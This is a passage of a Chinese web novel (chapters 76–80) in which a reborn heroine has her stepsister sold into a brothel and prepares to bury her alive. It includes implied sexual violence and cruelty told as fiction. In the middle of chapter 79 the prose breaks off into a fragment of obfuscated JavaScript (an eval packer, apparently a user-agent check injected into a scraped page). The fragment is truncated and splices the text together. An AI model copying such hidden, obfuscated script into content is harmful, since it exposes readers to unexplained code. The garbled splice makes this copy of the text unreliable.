“娘,都是谢晚棠,都是她害得我。我不要再跟她同住了,我再也受不了这种委屈了。什么小不忍则乱大谋,什么大事大局,我都不要管,我是真的忍不了了。娘,你把她赶出去好不好?你弄死她好不好?我要扒了她的皮,我要把她千刀万剐、五马分尸。” “宁儿!” 几乎在谢婉宁话音落下的瞬间,谢夫人就呵斥了一声。 她烦躁的厉害,眉头也皱的更紧了些。 因为谢婉宁,谢詹杭才会被弹劾,因为被皇上召进宫,才会断断续续的引出这许多事。 这些,都是因谢婉宁而起的。 她不怪罪,不埋怨,不责罚,已经是对谢婉宁宠爱有加了。 眼下,容不得谢婉宁再生事。 尤其是刚刚,她还接到消息,皇上那头已经上已经调查清楚了,谢詹杭虽然于公务上有失,但问题并不算太严重,皇上那头也有意放了谢詹杭,就是这时候,还有朝臣参奏,说他偏心虐女,私德不修,说他治家不严,纵女生乱。 为了这,皇上又改了主意,谢詹杭被放,也遥遥无期了。 她急着去找人疏通关系,好歹也能有人在朝堂上,帮谢詹杭说说话。 只要能先把谢詹杭捞出来,其他的就好说了。 这种时候,谢婉宁还来捣乱…… 谢夫人是心疼她。 可是,她烦也是真的,顾不上谢婉宁,也不能顾,更是真的。 “宁儿,你别再闹了,安心回宁和园等着,过两日你爹回来了,我和你爹自会腾出手来,帮你解决掉所有的麻烦。” “过两日过两日,这过两日,到底是过多少日?” 之前,谢夫人也是这么说的。 可这两日她如坠地狱。 她都被欺负成什么样了,谢夫人还说“顾不上她”,是不是非得等她死了,才能有人顾得上她? 谢婉宁泪如雨下。 泪水打湿伤口,让她本就难看的脸,更狰狞了不少。 “娘,你是看我脸毁了,觉得我前程断了,没法给你们联姻,帮你们攀高枝了,你就冷落我,舍弃我了,是不是?你们一个个的,都开始偏心那个死灾星了,是不是?她可是灾星,你们这么亲近她,就不怕被她给克死吗?你们……” “够了!” 越说越离谱,一点轻重分寸都没有…… 谢夫人满脸都是失望。 她也怒。 “来人,送大小姐回宁和园。” 冷硬的吩咐了一声,之后,谢夫人就带着管家,越过谢婉宁,奔着外面去了。 眼下,谢詹杭的事情更重要,至于谢婉宁,她回来再说吧。 谢夫人想着,脚步都更快了些。 看着谢夫人大步流星,一副“急于摆脱麻烦,落荒而逃”的模样,谢婉宁的眼泪,更汹涌的厉害。 她心底发凉。 痛苦、失落、失望、绝望…… 太多悲凉的情绪,在心里堆积发酵,几乎要将谢婉宁吞没。 以至于这一刻,她脑子里唯一能想到的,就是之前谢晚棠在宁和园里,对她说的那两句话。 谢晚棠说—— “我不是魏亭澜,被姐姐拖累,在一众达官显贵面前丢了脸面,丢了小诗仙的雅名,还被齐王责罚,身子虚弱,可饶是如此,他还日日到侯府外守着,只求能见阿娘一面,能向阿娘求娶你。” 她说—— “你也要想想,这样苦不堪言、状如水火的日子,有没有人能救你?” 魏亭澜! 谢婉宁的眼眸里,闪过一抹精光! 第76章 有情郎 谢婉宁是哭着被人送回宁和园的。 她回去时,谢晚棠与天岚、知棋、以及脸生的天月四个,正在喝茶嗑瓜子,那优哉游哉的样,与谢婉宁的狼狈,对比鲜明。 谢婉宁心里的火气,忍不住蹭蹭的往上窜。 她极力克制着才没有发火。 她得忍。 等入夜后,她就会逃离这里,外面天空海阔,自有她的幸福,谢晚棠想控制她,折磨她…… 那是痴人说梦! 她生来就是永昌侯府的千金,是侯府的福星,她金尊玉贵,受尽宠爱,而谢晚棠不过是个连爹娘都不愿意承认的灾星,是个被囚禁了十几年,大字不识几个的烂货,她从一出生开始,就注定了比谢晚棠高贵,她注定了不会被谢晚棠这样不入流的货色踩在脚下。 她也不允许自己,沦落到那步田地。 今日之后,她自会扭转乾坤。 谢晚棠别想好过。 谢婉宁这么想着,心里舒坦些,连带着手腕上的疼,似乎也轻了不少。 …… 暮色四合。 早早的,谢婉宁就去耳房沐浴了。 手腕的位置,她找苗府医帮忙包扎过,也上了药,沐浴时,小心翼翼的避开手腕处的伤,洗的极为仔细。 从浴池出来时,她还特意用了些香粉,香气浓郁,刚好可以遮掩些药味儿。 弄好了,她便从耳房出来,去了铜镜前。 脸,惨不忍睹。 紧紧的咬着唇,谢婉宁忍着泪,又给脸上的伤上了药。 之后,她去找了件衣裳。 海棠红的纱裙,单薄的几乎透明,魅惑丛生。 谢婉宁拿着衣裳去了床上,她又准备了一件披风,除此之外,她还将自己的银票,以及那些值钱的头面首饰,一应全都装进了一个小包袱里,也一并放在了床里。 只有一只手能动,这一切,谢婉宁都做的极为吃力。 可她难得有耐性,也难得能忍疼。 一切妥当了,她就躺下了。 她假寐。 她也在心里暗暗祈祷,希望谢晚棠也能早早睡下,免得耽误了她的事。 也难得谢晚棠这么顺她的意,不过戌时末,谢晚棠就沐浴完毕,早早的躺下了。 没多久,就听到了她均匀的喘息声。 天岚趴在谢晚棠的床边,保护着她,没多久,她的呼吸声也平稳了下来,睡的很踏实。 听到动静,谢婉宁悬着的心,也就放下了。 还好时候不晚。 心底欢喜,谢婉宁掀了被子,蹑手蹑脚的下床。 特意冲着谢晚棠和天岚的位置瞟了两眼,确认她们确实睡熟了,没有一点要醒的意思,谢婉宁便彻底放心了。 她换上单薄的纱裙,又裹上了披风,随即背上小包袱往外去。 她要去找魏亭澜。 既然永昌侯府舍弃了她,爹娘都不帮她,既然在这里,有的除了受不尽的委屈,就是受不尽的伤,那她不如另寻出路。 魏亭澜倾慕她,爱恋她,几次登门求娶,诚心可见。 都说:易求无价宝,难得有情郎。 跟着他日子差不了。 更何况,她还拿了银子,拿了头面首饰,她手头富足,而魏亭澜满腹经纶,才情洋溢,他今年之所以会落榜,也不过是因为出身贫寒,于行卷之事上落了下风,这才被人比了下去,耽误了前程。 有她在,有足够的银子在,三年后,保不齐魏亭澜就会高中状元,入仕为官,凭他的能力,封侯拜相指日可待。 到那时,她的好日子,还能少得了? 越想,谢婉宁就越舒坦。 她丑陋扭曲的脸,也更多了一抹笑意,邪佞狰狞。 也没多耽搁,很快,谢婉宁就出了屋。 屋里。 几乎是在谢婉宁起身的瞬间,天岚就已经睁开了眼睛。 她刚好瞧见同样睁开了眼睛的谢晚棠。 “小姐……” “嘘!” 冲着天岚做了一个噤声的手势,谢晚棠掀了被子下床,她到窗边的位置,轻轻的将窗子推开一道缝隙。 透过窗子,她们两个都清楚的瞧见,谢婉宁鬼鬼祟祟的出了宁和园。 “小姐,她这是去做什么?” 这么晚了,一个大家闺秀,穿成那样,太不妥当了。 谢晚棠闻声冷笑。 “去做梦。” 之前,在折磨谢婉宁的时候,她也为谢婉宁编织了一个美梦。 现在,谢婉宁指定以为,魏亭澜对她情深不移,拿着银子,出去找魏亭澜,魏亭澜一定会带她远走高飞,带她过好日子。她指定在想,魏亭澜才学不俗,将来指不定还能再入朝为官,她的好日子,也不会太远。 上辈子和魏亭澜私奔,保不齐谢婉宁的心思也是如此。 简直愚蠢! 眼底里全是冷意,谢晚棠收敛了笑意,面无表情的吩咐。 “天岚,你亲自走一趟,她知道魏亭澜住的地方,出府后她必定往那边去,你跟着她,在她见过魏亭澜,从魏亭澜那离开之后动手,把她绑了,扔进最近的花楼里。” 上辈子,谢婉宁与魏亭澜私奔,她成了谢婉宁的替代品。 谢婉宁后悔了,又怨她取而代之。 她承认,因为谢婉宁,她误打误撞享受过幸福,可那是因为慕枭好,而不代表谢婉宁没错。 更何况,她曾被谢婉宁折磨,被谢婉宁活埋…… 那都是从私奔堆积起来的祸。 她要报仇。 自然也从这开始。 她要谢婉宁美梦破碎,要谢婉宁清白尽毁,之后,她要亲手活埋了谢婉宁,一如上辈子,谢婉宁活埋了她一般。 谢晚棠想着,就听到天岚询问。 “小姐确定,魏亭澜会赶他走?而不是将她留下?” “确定。” 谢晚棠回应的笃定。 她没有多解释,可她心里却是明镜似的,魏亭澜也算不上什么好人。 一日夫妻百日恩,可上辈子,魏亭澜在与谢婉宁相处两三年后,还能将谢婉宁的孟浪之姿,编成书中故事,说书换银子,甚至一路从南边说到京城,让谢婉宁名声烂透了,可见他的深情并不牢靠。 更何况这辈子,他和谢婉宁还没真正开始。 之前,他对谢婉宁或有好感。 可那日在惊风诗社,她受谢婉宁拖累,被慕枭责罚,他还亲耳听到,谢婉宁恬不知耻的将所有罪责,都推到他身上,他心中怎么可能全无芥蒂? 再加上现在谢婉宁的脸彻底毁了,他对着那么一张脸,又怎么下得去嘴? 情,早散了。 赶谢婉宁走,那是必然的。 保不齐还会嘲弄,会讥讽,会谩骂…… 有趣的很! “去吧,到了那边好好的盯着,他们的对话,尽量记下来,尤其是魏亭澜的那些羞辱之词,务必要记得牢牢的,回来也好说与我听听,让我也跟着乐一乐,高兴高兴。” “是。” 天岚应声,闪身出屋,到暗处盯着谢婉宁去了。 夜色深重,夜风似乎也更冷了。 谢晚棠抬眸看天。 她唇角,荡漾着浅浅的笑意,“谢婉宁,一切都重新开始了,血债血偿,这都是你欠我的,你……怨不得我……” 第77章 好姻缘 闻溪巷,是京中出了名的寒门雅巷。 每到科考的时候,外地来京的学子,除非极度富裕的,否则十有八九,都会住在这边。 一方面是从这边租赁小院,价格要便宜的多。 另一方面,闻溪也是闻喜,雅气有韵味,兆头又好,许多人喜欢。 魏亭澜就住在这。 谢婉宁从永昌侯府出来,一路到这边。 她身上伤多,难受的厉害,再加上她一个娇滴滴的千金小姐,自来出门都是乘马车的,难得一次走这么远,她也有些不适应。 这段路,她花了约么一个时辰。 天很冷,可她身上全是汗。 连带着头上的幕篱边缘,也泛着湿,不大舒服。 咬着唇,谢婉宁强忍着,去了魏亭澜的小院,彼时,小院里还亮着烛火,显然魏亭澜还没睡下。 谢婉宁面露欣喜,她抬手,准备敲门。 就在这时,门里传来了一阵笑声。 “魏公子放心,人家陆家,不是挑剔的人家,陆小姐也欣赏公子的才学,看中魏公子这个人,不要求聘礼,反倒是那陪嫁,陆家准备的丰厚,刚刚魏公子也都一一的看过了,陆家的诚意,魏公子也该知道。这门亲事,陆家已经允了,只等着过两日魏公子上门提亲,交换庚帖,过个明路了。” “多谢。” “这有什么可谢的,我本就是做那保媒拉纤,成就人好姻缘的活儿,这都是我该做的。” 媒婆笑的殷勤。 门口,谢婉宁神情怔愣,她敲门的手高抬着,却怎么都敲不下去。 保媒拉纤?好姻缘?陆家? 怎么会? 谢婉宁反应不过来,这时,就听媒婆又道。 “说来,还是魏公子眼光好,一下就看中了陆家。一家好女百家求,人家陆小姐,论出身、论样貌、论脾气、论才学,那可都是顶尖的,要不是魏公子主动,咱们动作也快,怕还真要错过这门好亲事了呢。” “是。” “魏公子满意就好,那我就在这,先祝魏公子和陆小姐暮雪白头,长长久久了。” “多谢王婶。” “得了,咱们之间,就不必这么客套了,太见外了。行了,时候也不早了,咱们就按刚刚说的办,两日后去陆家提亲?你准备准备,我就先走了。” “我送王婶,剩下的,还请王婶多多费心。” “好说好说。” 魏亭澜和媒婆王婶两个人说的热闹,待到打开院门,才发现站在外面的谢婉宁。 谢婉宁带着幕篱,夜色又重,王婶看不清她的模样。 可是男是女,王婶怎么会瞧不出? 魏亭澜是要议亲的,深更半夜,有女子在他门外,王婶瞧着,眉头不禁蹙了蹙。 “魏公子,这位是……” “隔壁林家的亲戚,大约是寻不到林家人,过来问问吧。” 魏亭澜随便扯了个谎,便应付过去了。 王婶闻声也没多问。 很快,王婶就离开了,独留下谢婉宁,僵在原地,半晌都缓不过神来。 谢晚棠说:魏亭澜对她情根深种,哪怕因为惊风诗社的事,被她拖累,也不曾怨她半分,还几次登门求见谢夫人,要跟谢夫人求娶她。 可是,刚刚媒婆分明说,魏亭澜看上了陆家小姐,还都商量妥了,只等着上门提亲了。 怎么会这样? 魏亭澜求娶了陆家姑娘,那她算什么? 满京城,又有哪个陆小姐,能与她相比? 魏亭澜眼瞎吗? 紧盯着魏亭澜,谢婉宁不敢置信,她湿红的眼眸里,也恨怒交杂,反复荡动,难以平息。 魏亭澜眉头紧锁,他开口,声音冷淡。 “谢大小姐怎么来了?” “你要娶陆小姐?哪个陆小姐?” 谢婉宁不答反问。 心里不痛快,她语气也凌厉,短短几个字,带着一股恶狠狠的劲儿,仿佛要将人家陆小姐生吞活剥了似的。 瞧着谢婉宁这模样,魏亭澜不禁想到了那日在惊风诗社的事。 谢婉宁否认她的身份,嫁祸旁人。 谢婉宁将所有罪责,都推到他身上,说他强迫于她。 见微知著。 谢婉宁品行如何,可见一斑。 早前对谢婉宁心生的那点好感,早就消散殆尽,荡然无存了。 他不是谢婉宁的谁,谢婉宁也不是他的谁,谢婉宁没资格质问他,而他也没有回答的必要。 “这不关谢大小姐的事,若是没有其他事,谢大小姐请回吧。” “不关我的事?” 谢婉宁上前一步,话咆哮而出,她声调都高了几分。 “怎么不关我的事?在惊风诗社,众目睽睽之下,说要娶我的是你,这几日,频频到永昌侯府,要见我娘,要求娶我的人也是你,一边攀着永昌侯府,一边另商婚事,你当我是什么事?” “谢大小姐慎言。” “慎言?我慎什么言?我哪句说错了?” 谢婉宁质问。 怒到极处,她忍不住上前,用自己未受伤的手捶打魏亭澜。 魏亭澜连连后退,他伸手抵挡,不经意间,一把挥歪了谢婉宁头上的幕篱。 之前在惊风诗社的时候,魏亭澜见过谢婉宁受伤的脸,他知道谢婉宁的脸上有一道伤口,大约会留疤。可是,那时候虽有伤痕在,可还能依稀瞧见谢婉宁眉目如画,容色绝丽,可现在—— 伤口腐烂,恶臭难闻。 脓包成片,坑洼不平。 这样的谢婉宁,别说容色绝丽了,就她现在这张脸,简直不堪入目。 魏亭澜僵在原地,满眼尽是不敢置信! 那样的眼神,刺眼的厉害,谢婉宁悲愤至极,她捶打的更用力了,骂的也更难听了,“见异思迁,朝三暮四,薄情寡义,始乱终弃,魏亭澜,你这种狼心狗肺的男人,你……” “够了。” 打断谢婉宁的话,魏亭澜抓住她的手腕,一把将她甩开。 谢婉宁不妨,整个摔在了地上。 她被谢晚棠弄伤的手腕,撑在地上,伤口裂开,血流出来,打湿了包扎的纱布,还有不少洇在了地上。 魏亭澜看到了。 只是,在意的时候,血流一滴也会心疼,不在意的时候,血流一地又与他何干? 魏亭澜脸色清冷,他冷笑着开口。 “谢大小姐,饭可以乱吃,话却不可以乱说。 我承认,当日在惊风诗社的时候,我曾当着众人的面说要娶你,可是,那时你是怎么说的?你说是我强迫于你,你颠倒是非,陷我于不义,你从不曾承认你我两情相悦,既如此,过往种种还有什么意义? 更何况,我们自始至终也没有确定什么关系。 我不是你的夫君,也非你的未婚夫婿,甚至连你的情郎都算不上,我是否另议婚事,又是否另娶他人,与你有什么关系,谈何朝三暮四、薄情寡义?谢大小姐也是读过书的人,词可别乱用。” “你上门求娶我,还说我们没有关系,你……” “上门求娶你?” 魏亭澜出声,打断谢婉宁的话。 短短几个字,从他的嘴里挤出来,尽是讥讽之态,“谢大小姐是高门小姐,我怎敢高攀?又怎敢登门求娶,自如欺辱?” “可你上门……” “那日从惊风诗社离开,我晕倒在外,是陆家小姐救了我。救命之恩,无以为报,我这几日,一直都在忙着与陆家小姐的事,何曾去过你谢家?又谈何求娶?谢大小姐怕不是做梦了,深更半夜,在这胡言乱语。” “怎么可能?” 谢婉宁连连摇头,她不信魏亭澜没有去过谢家,没有想过要娶她。 听着她的话,魏亭澜嗤笑。 他嘲弄之词直白赤裸,频频而出,丝毫不收敛。 “为何不可能?整个永昌侯府都捧着谢大小姐,不敢说真话,谢大小姐屋里也没有镜子,没有自己看过吗?谢大小姐如今的这张脸,大约鬼见了都怕,又有谁敢娶?左右我是不敢的,我怕午夜梦回,被吓死……” 第78章 红梅树 “你……” 魏亭澜的话太刺耳了,谢婉宁几乎被气疯了,她想骂,可怒到极处,她盯着魏亭澜,却是一个字都说不出。 而魏亭澜,显然也没想给她说什么的机会。 “谢大小姐,永昌侯府地大院大,你若是想发疯,就在那疯,我这庙小,容不得谢大小姐这尊大佛。时候不早了,谢大小姐请回吧,免得又被人瞧见了,谢大小姐又该说是我强迫于你了,这种黑锅,我身子单薄,实在背不起。” 话音落下,魏亭澜拽着谢婉宁往外几步,将她推了出去。 之后,魏亭澜直接关门。 砰! 沉闷的关门声,落在谢婉宁耳中,犹若惊雷。 她不敢相信,她鼓足了勇气,背着家当从永昌侯府出来找魏亭澜,最终得到的结果却是这样。 怎么会这样? 谢婉宁的眼泪夺眶而出。 冲上前,谢婉宁不甘心的拍门嘶吼。 “魏亭澜你给我出来,你一个寒门学子,一无银钱二无功名,我不嫌弃你,已经是你祖坟冒青烟了,你凭什么嫌弃我?” “我毁了脸又如何?” “你记着,即便我的脸被毁了,难看的厉害,我也是永昌侯府的千金,是金尊玉贵的小姐,你一个天生贱命的贱人,没资格看不起我。” “魏亭澜,你给我出来,你把话给我说清楚。” “魏亭澜,魏亭澜……” 谢婉宁喊的歇斯底里,一声接着一声,她拍门,也把手拍的通红。 可是,不论她怎么喊,怎么拍,紧闭着的院门都没有再打开,院里的魏亭澜,也没有回应一句。 甚至于连院里的烛光,都很快就熄灭了。 院里再没了动静。 谢婉宁气急了。 她扯着嗓子,一连骂了一刻钟。 连边上的人家,都有人开门出来瞧了,魏亭澜依旧稳如泰山,不吭一声。 见不到人,谢婉宁一点办法都没有,最终,还是她承受不住众人异样的眼光,也忍不住手上的疼,放弃离开了。 夜色下,走在路上,谢婉宁脸上尽是茫然。 这一瞬,她真的不知道该去哪。 魏亭澜不要她,回永昌侯府,又要跟谢晚棠同住,爹娘不管她的死活,她像是被整个世界遗弃了,再寻不到归宿。 她怎么都没想到,事情会变成现在这样。 之前明明还好好的。 谢婉宁难过。 她也慌。 心乱如麻,一时间,谢婉宁的眼泪,也愈发的汹涌了。 就在这时,谢婉宁听到身后,传来一阵脚步声。 以为是魏亭澜来找自己了,谢婉宁下意识的回头,只是,还不等她看清身后的情况呢,来人的一记手刀,就砍在了她脖颈上。 谢婉宁两眼一黑,就晕了过去! …… 宁和园。 天岚把谢婉宁送去天香楼之后,就回了这边。 彼时,谢晚棠正坐在桌边上等着,她在桌上摆了一壶茶,只是,大约是心里藏了事,她只一下下的摩挲着茶盏,并不喝一口。 见到天岚进门,谢晚棠的眼睛才亮了亮。 “如何?” 闻声,天岚点头,“成了。” 回应了一声,先给谢晚棠吃一颗定心丸,之后,天岚才将谢婉宁见到魏亭澜之后的事,都一一说过谢晚棠听。 知道谢晚棠关注,天岚说的很细。 尤其是魏亭澜那些嫌弃的话,以及听到那些话后,谢婉宁的崩溃—— 她都说的清清楚楚。 “呵!” 听着这话,谢晚棠忍不住发出一声冷笑。 果然,谢婉宁和魏亭澜,都像她想的那样,只能同富贵,不能共患难。这样的人,这样的情,就像是一张单薄的窗户纸,风一吹就会烂。 挺好! 心里想着,谢晚棠看向天岚。 “送进楼子里了?” “是,送到天香楼了,奴婢回来的时候,天香楼的老鸨子已经安排好了,奴婢是看着人进了屋,才回来的。” “好。” 谢晚棠满意极了。 不愧是慕枭带出来的人,就是能干。 用谢詹杭的矿脉图,跟慕枭换两个人,收拾谢詹杭最宠爱的福星女儿,这感觉…… 真的不错。 谢晚棠想着,就听到天岚又道。 “不过,刚刚回侯府的时候,奴婢在前院也见到了小厮,行色匆匆。奴婢问了一句,据说,谢婉宁离开的事,谢夫人已经知道了,他们也派人出去开始寻找了。说不准用不了多久,就会找到天香楼。” “他们找不到的。” “嗯?” 天岚听着这话,不免疑惑, 谢晚棠挑眉,看向天岚,笑着念叨。 “谢婉宁最大的毛病,就是自视甚高,而谢夫人也如此。他们一家子,都自以为高贵,眼高于顶,谁都不放在眼里,不撞了南墙,他们是不会承认,自己坠入了泥潭,沾了一身的烂泥,早已经污秽不堪了的。” “所以,谢夫人即便派人去寻谢婉宁,也不会先去烟花之地?” 只要一晚上,谢婉宁就会被毁了。 保不齐还会遇到熟人。 若是那样,谢婉宁一辈子,都不可能再回永昌侯府。 谢家丢不起那个人。 “奴婢明白,那接下来……” “你在外面盯紧了,我要谢婉宁在天香楼待三日,三日后你把她带出京,寻个地方等我,我去见她。若是三日内,侯府这边有异动,有向天香楼靠近的意思,我会让天月给你传信,你即刻把她带走就是了。” 三日。 一日,抵上辈子她的一年。 已经很便宜谢婉宁了! “是。” 听着谢晚棠的吩咐,天岚快速回应,她转身准备重回天香楼去盯着。 可还没出门口,她就听到谢晚棠的声音,又从身后传来。 “记得,带谢婉宁离京后,寻的暂时落脚的地方,是好是坏都不重要,重要的是,那附近一定要有一棵梅树,最好是红梅树。” “红梅树?” 天岚有些意外,有些不理解。 谢晚棠也没多解释。 上辈子的种种恩怨,不是三言两语就能解释的,而跟天岚,她也没有解释的必要。 “按我说的办吧,辛苦了。” “是。” 天岚应声离开。 看着房里重新安静下来,谢晚棠起身到铜镜前。 借着昏暗的烛光,看着铜镜里的自己,皮肤白皙,光滑细腻,可她脑海里,却全都是上辈子被活埋时,谢婉宁毁了她的脸后,她脸上疤痕交错的模样。 重来一世真好。 眼下,天愈发的冷了,红梅开的也愈发的盛了,连带着那地那土,大约也寒的厉害。 上辈子,谢婉宁给她的那场活埋,她应该能复刻到九成。 一报还一报。 她……已经有些期待了! …… 和谢晚棠预料的一样。 谢夫人派人出去寻找谢婉宁,首先就盯上了魏亭澜,他们也查到,谢婉宁的确去找过魏亭澜,但没能进门,之后谢婉宁就失踪了,一点动静都没有。 这京城,被他们翻了个底朝天。 连带着京外,谢夫人也派了几波人出去。 但从始至终,他们都没找过京中的烟花柳巷,没有找过那些风月之地。 三日的时间一晃而过。 全脸溃烂,臭味腥浓的谢婉宁,被人轮番折磨,只三日,她就像是一只破烂的布偶,再没了一点生气。 高傲,被碾得粉碎。 天岚将她带出京的时候,她就像是个行尸走肉一般。 谢晚棠这边,很快就接到了消息。 她舒坦。 她和谢婉宁的两世恩怨,也该到了清算的时候了。 去见谢婉宁,她得好好准备。 晌午,谢晚棠用了午膳,就去耳房沐浴,之后,她换了一身海棠红的锦袍,配了一身披风,头上梳了飞天髻,点缀珠翠,明艳华贵,又不失灵动。 满意的看着镜中的自己,谢晚棠眉眼弯弯。 用手沾着口脂,细细的在唇上涂抹。 一下下,她动作很慢。 许久,她才起身,看了眼身边的天月,她轻声开口,“马车应该已经准备好了,咱们走吧。” “是。” 天月应声,追随着谢晚棠出门。 谢晚棠走的很慢。 到院里,路过那棵被砍掉的红梅树的位置时,她下意识的顿住脚步。 向虚空中伸手,像是拈了一朵红梅似的,她笑靥如花。 她轻声低喃。 “天冷了,红梅娇艳,但愿……你仰头望见,会喜欢……” 第79章 诛人心 侯府前院。 谢晚棠带着天月出来,到这头,刚好看见要出门的谢夫人。 谢夫人刚刚接到消息,说天香楼这几日,有一个毁了脸的姑娘在接客,她虽然长相不行,可玩起来却很带劲儿。 这几日她房里的恩客,就没断过。 孟浪之语,不堪入耳。 可谢夫人却听的仔细,而且,她几乎是第一时间,就想到了谢婉宁。 毁了脸—— 这个特点,太有标志性了。 谢夫人不希望这是真的,可是,她又不得不过去看看。 以防万一! 谢夫人没成想刚一出来,就看到了要出门的谢晚棠。 一身装扮,华贵明艳,跟曾经的谢婉宁很像,只是比之谢婉宁,她的身上还带着一股娴静庄重的气质,倒是显得更大气了不少。 自然,比谢婉宁也要更惊艳。 一个被舍弃的灾星,凭什么比她娇养出来的姑娘还要优秀? 谢夫人不喜。 她开口,语气也凌厉。 “没心肝的东西,家里频频出事,你还有心思打扮的花枝招展的,还往外跑,你心里还有没有这个家?” 谢夫人气急败坏,谢晚棠一听就知道,她大约是听说谢婉宁的事了。 看她不痛快,谢晚棠痛快极了。 上前,冲着谢夫人微微福身,谢晚棠眉眼弯弯。 “阿娘这话说的,可太冤枉我了,我心里怎么会没这个家?爹的事,事涉朝政,我插不了手,可姐姐深更半夜偷跑出去,我心里却是惦记的。我听说,近两三日,天香楼有一个样貌丑陋的姑娘在接客,她……” “闭嘴!” 还不等谢晚棠说完,谢夫人便厉喝了一声。 天香楼!天香楼! 连谢晚棠这种大门不出,消息闭塞的人,都听说了,也生了怀疑,只怕事情真的不妙。 那…… 大约真是谢婉宁吧? 这么想着,谢夫人脸上黑云压城。 谢晚棠瞧着,刻意往前两步,**诛心,她不遗余力。 “阿娘,你这么生气,莫不是也听到了那些流言?天香楼里接客的姑娘,该不会真是姐姐吧?” “你……” “啧!” 谢晚棠咂舌,也刚好打断谢夫人的话。 随即,她慌张的摇头。 “这也太可怕了,姐姐虽说因为在惊风诗社与魏公子私会,得罪了齐王,名声狼藉,她进不了齐王府,可凭着咱们侯府的地位,让她嫁去魏家,亦或者是为她另谋一门婚事,总是不难的。哪怕清贵人家无望,可嫁个庄户人家,贩夫走卒,好歹是正室,也算体面,总归是好的。这进了花楼,玉臂千人枕,朱唇万人尝,这算什么事啊?” 谢夫人狠狠的剜了谢晚棠一眼。 “你闭嘴,晦气的玩意,胡言乱语,诅咒嫡姐,你安的什么心?” “阿娘,我这不是诅咒,是关心。我关心姐姐的前程,也关心侯府的名声,这事若是传出去,姐姐毁了,咱们侯府怕也要成了京中的笑话了吧?” “你……” 谢夫人气得发抖。 “谢晚棠,你给我等着,等我回来再找你算账。” 恶狠狠的说了一句,谢夫人转头就走。 时间不等人。 她怕天香楼里的人,真是谢婉宁;她怕再耽搁下去,谢婉宁会受更多的伤;她也怕时间久了,消息传出去,永昌侯府会沦为这满京城的笑话,成为人茶余饭后的谈资。 谢夫人行色匆匆,脚步生风。 身后,谢晚棠嘴角噙着一抹坏笑,缓缓摇头。 现在知道急了? 晚了! …… 京外,嘉景庄园。 天月带着谢晚棠过来后,就直接绕了小路,去了庄园的后山。 嘉景庄园是慕枭的私人庄园,位置稍微偏僻了些,面积也不算大,平日里,慕枭很少过来,只有几个下人帮忙打扫,守着这里,好歹也不至于让这里荒废了。 听了谢晚棠的吩咐,天岚就把谢婉宁带到了这。 在后山上,刚好有一间木屋。 是旱季守山用的。 而在这木屋不远处,就有一小片梅林,以红梅为主,刚好符合谢晚棠的要求。 山路并不算好走,可大约是心里高兴,谢晚棠一路跟过去,倒也没觉得多累。她心思都在谢婉宁身上,并没有注意到,山下有人在看着她。 眯着眼睛,目光灼灼。 正是慕枭! 木屋。 谢晚棠一进来,就闻到了一股浓郁的腥臭味儿。 她微微凝眉,就见天岚快步过来。 “小姐,你来了。” “嗯。” 谢晚棠点头,随即看向墙角的木床。 谢婉宁就躺在上面,她闭着眼睛,也不知道是睡着了,还是晕过去了。她头发蓬乱,一张脸已经溃烂的不成样子,身上的衣裳,也烂糟糟的,带着撕扯的痕迹,在那衣裳之下,依稀可见她白皙的肌肤上,还有连片的欢爱痕迹。 她经历了什么,又有多激烈,可想而知。 “晕着?” 谢晚棠问天岚。 听问,天岚摇了摇头,“没晕着,也不是睡着了,只是像是失了神魂,一直都是闭着眼睛,说什么做什么,她都没反应。” “呵!” 失了神魂? 可是,这才哪到哪? 谢晚棠冷笑,这时,就见木床上的谢婉宁,陡然睁开了眼睛,她眼眸如刀,定定的看着谢晚棠。 若是眼神能**,谢晚棠怕是早已经**千百次了。 谢晚棠浑然不在意。 醒了才好。 戏谑的勾唇,谢晚棠轻声开口,“你们两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢婉宁忍着疼,厉声咆哮。 “死……死灾星,你……害我……你这么害我,爹娘是不会放过你的,你不……不得好死,你不得好死。” “呵!” 谢晚棠嗤笑,她缓缓收回手,坐到床边上。 “我不得好死?谢婉宁,你现在应该想的是,自己会不会不得好死?” “难不成你还想杀我?” “不不不,杀这个字,用的不够准确。” 谢晚棠冲着谢婉宁摇头,她的脸上,全是邪气狰狞的笑。 她压低了声音,冲着谢婉宁低语。 “确切的说,是活埋……” 第80章 尘飞扬 谢晚棠的话,说的很轻很轻,可谢婉宁却觉得毛骨悚然。 她下意识的想往后退,想逃。 可手筋被挑断,伤了根本,她使不上力,被一连折磨了三日,她也虚的厉害,没有力气可使。 逃,根本就是奢望。 遥不可及。 “谢晚棠,你不能动我,爹娘是不会放过你的,你……” 实在怕的厉害,谢婉宁只得将谢詹杭和谢夫人搬出来,以期能吓退谢晚棠。 可惜,谢晚棠对此嗤之以鼻。 她冷笑着开口。 “别急,等你成了**,我自会腾出手来,去应付他们的‘不放过’。顺带着,我还会把他们一起送下去,让你们一家子合家团聚。” “你……疯子,你怎么敢?” “怎么敢啊?” 呢喃着这几个字,谢晚棠苦笑。 上辈子的她,自然是不敢的,沈嬷嬷被挟持,她投鼠忌器,不敢反击,只能认谢詹杭摆布。进了齐王府,她不敢跟慕枭交代实情,只能顶着谢婉宁的身份,活在一个巨大的谎言里。她不敢对慕枭动情,更不敢奢望慕枭对她动情,她不敢让慕枭处理谢詹杭,不敢让慕枭替她报复。 上辈子,她活在“不敢”里,活的怯懦又卑微。 可她得到了什么? 不得善终! 连带着慕枭,也因为她,吃尽了苦头,还舍了一条命。 可见,她的退缩,只会换来谢家人的得寸进尺,变本加厉,只会让亲者痛,仇者快。 这辈子,她要换个活法。 她要敢! 而且是……很敢! 对上谢婉宁的眸子,谢晚棠笑的花枝烂颤。 “你知道嘛,人都是被逼出来的,我也想做个好人的,可是,人善被人欺,不想任人鱼肉,就只能出手反击,这怨不得我。” “你……” “你也别觉得自己多委屈。” 谢晚棠不给谢婉宁开口的机会,她冷嘲。 “不谈以前,单说近来这阵子,你做了什么,你心里清楚。在小破院里放火,想要烧死我,你心思恶毒;在街上,你安排府卫拦杀我,你手段残忍。你本也算不得什么好人,你遭报应,那是老天开眼,你遭报复,那是理所应当。至于毁你的脸,活埋你……” 谢晚棠的声音微微顿住。 